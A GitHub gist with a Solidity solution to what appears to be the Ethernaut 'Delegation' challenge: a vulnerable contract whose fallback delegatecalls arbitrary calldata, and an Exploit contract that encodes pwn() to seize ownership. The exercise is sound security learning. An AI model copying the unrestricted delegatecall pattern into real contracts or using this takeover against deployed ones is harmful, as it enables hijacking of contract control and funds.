Skip to content

Instantly share code, notes, and snippets.

@casweeney
Created September 14, 2022 16:25
Show Gist options
  • Select an option

  • Save casweeney/b026c71fbf46790e7b8d819b4918dcfe to your computer and use it in GitHub Desktop.

Select an option

Save casweeney/b026c71fbf46790e7b8d819b4918dcfe to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
contract Exploit {
function getSignature() public pure returns (bytes memory) {
return abi.encodeWithSignature("pwn()");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment